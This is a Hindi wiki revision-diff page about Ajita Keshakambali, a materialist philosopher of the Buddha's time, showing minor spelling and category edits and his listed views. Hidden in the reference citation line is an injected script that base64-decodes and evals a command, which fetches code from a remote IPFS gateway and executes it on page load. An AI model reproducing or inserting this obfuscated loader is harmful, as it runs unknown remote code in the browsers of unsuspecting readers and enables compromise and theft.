"अजित केशकम्बल" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (Text replacement - " दुख " to " दु:ख ")
 
(इसी सदस्य द्वारा किये गये बीच के 2 अवतरण नहीं दर्शाए गए)
पंक्ति 3: पंक्ति 3:
 
*अजित केशकम्बल ने स्वर्ग और नरक को कपोल कल्पित कहा है।
 
*अजित केशकम्बल ने स्वर्ग और नरक को कपोल कल्पित कहा है।
 
*आदमी का निर्वाण विशेष परिस्थितिजन्य दुख-सुख में होता है, और [[आत्मा]] उससे बच नहीं सकती।
 
*आदमी का निर्वाण विशेष परिस्थितिजन्य दुख-सुख में होता है, और [[आत्मा]] उससे बच नहीं सकती।
*सांसारिक कष्टों, दुखों से आत्मा का त्राण नहीं होता, तथा यह कष्ट और दुख अनायास समाप्त होता है।
+
*सांसारिक कष्टों, दुखों से आत्मा का त्राण नहीं होता, तथा यह कष्ट और दु:ख अनायास समाप्त होता है।
 
*आत्मा को चौरासी लाख योनियों में से गुजरना पड़ता है।
 
*आत्मा को चौरासी लाख योनियों में से गुजरना पड़ता है।
 
*इसके बाद ही आत्मा के कष्टों और दुखों का अवसान होगा।
 
*इसके बाद ही आत्मा के कष्टों और दुखों का अवसान होगा।
 
*एक प्रकार से केशकम्बल के विचार उलझे हुए और अस्पष्ट थे।
 
*एक प्रकार से केशकम्बल के विचार उलझे हुए और अस्पष्ट थे।
*[[महात्मा बुद्ध]] उसके विचारों से कतई सहमत नहीं थे।
+
*[[महात्मा बुद्ध]] उसके विचारों से क़तई सहमत नहीं थे।
 
*अजित केशकम्बल प्रारम्भिक अवस्था के अधकचरे ज्ञान के समर्थक होने के कारण कोई समर्थक या [[ग्रन्थ]] भी अपने पीछे नहीं छोड़ गए।<ref>क.ला.चंचरीक : [[गौतम बुद्ध|महात्मा गौतम बुद्ध]] : जीवन और दर्शन/हि.वि.को., प्रथम खंड, पृष्ठ 84 </ref>
 
*अजित केशकम्बल प्रारम्भिक अवस्था के अधकचरे ज्ञान के समर्थक होने के कारण कोई समर्थक या [[ग्रन्थ]] भी अपने पीछे नहीं छोड़ गए।<ref>क.ला.चंचरीक : [[गौतम बुद्ध|महात्मा गौतम बुद्ध]] : जीवन और दर्शन/हि.वि.को., प्रथम खंड, पृष्ठ 84 </ref>
  
पंक्ति 17: पंक्ति 17:
 
{{दार्शनिक}}{{बौद्ध धर्म}}
 
{{दार्शनिक}}{{बौद्ध धर्म}}
 
[[Category:बौद्ध धर्म]][[Category:दार्शनिक]]
 
[[Category:बौद्ध धर्म]][[Category:दार्शनिक]]
[[Category:बौद्ध धर्म कोश]]
+
[[Category:बौद्ध धर्म कोश]][[Category:धर्म कोश]]
 
[[Category:बौद्ध दर्शन]]
 
[[Category:बौद्ध दर्शन]]
 
__INDEX__
 
__INDEX__

14:04, 2 जून 2017 के समय का अवतरण

अजित केशकम्बल बौद्ध कालीन एक दार्शनिक था। उसने लम्बी-लम्बी जटाएँ धारण कर रखी थीं। यही कारण था कि, अजित दार्शनिक 'कम्बल जैसे केशों वाला' कहलाया। उसने जो मत प्रतिपादित किया था, वह 'उच्छेदवाद' के नाम से जाना जाता है। यह एक प्रकार से सम्पूर्ण नाशवाद था। उसकी मान्यता थी कि होम, यज्ञ, तन और तप सब व्यर्थ हैं। वह वेद और उपनिषदीय चिन्तन के विपरीत थे।

  • अजित केशकम्बल ने स्वर्ग और नरक को कपोल कल्पित कहा है।
  • आदमी का निर्वाण विशेष परिस्थितिजन्य दुख-सुख में होता है, और आत्मा उससे बच नहीं सकती।
  • सांसारिक कष्टों, दुखों से आत्मा का त्राण नहीं होता, तथा यह कष्ट और दु:ख अनायास समाप्त होता है।
  • आत्मा को चौरासी लाख योनियों में से गुजरना पड़ता है।
  • इसके बाद ही आत्मा के कष्टों और दुखों का अवसान होगा।
  • एक प्रकार से केशकम्बल के विचार उलझे हुए और अस्पष्ट थे।
  • महात्मा बुद्ध उसके विचारों से क़तई सहमत नहीं थे।
  • अजित केशकम्बल प्रारम्भिक अवस्था के अधकचरे ज्ञान के समर्थक होने के कारण कोई समर्थक या ग्रन्थ भी अपने पीछे नहीं छोड़ गए।[1]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

भारतीय संस्कृति कोश, भाग-2 |प्रकाशक: यूनिवर्सिटी पब्लिकेशन, नई दिल्ली-110002 |संपादन: प्रोफ़ेसर देवेन्द्र मिश्र |पृष्ठ संख्या: 30 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  1. क.ला.चंचरीक : महात्मा गौतम बुद्ध : जीवन और दर्शन/हि.वि.को., प्रथम खंड, पृष्ठ 84

संबंधित लेख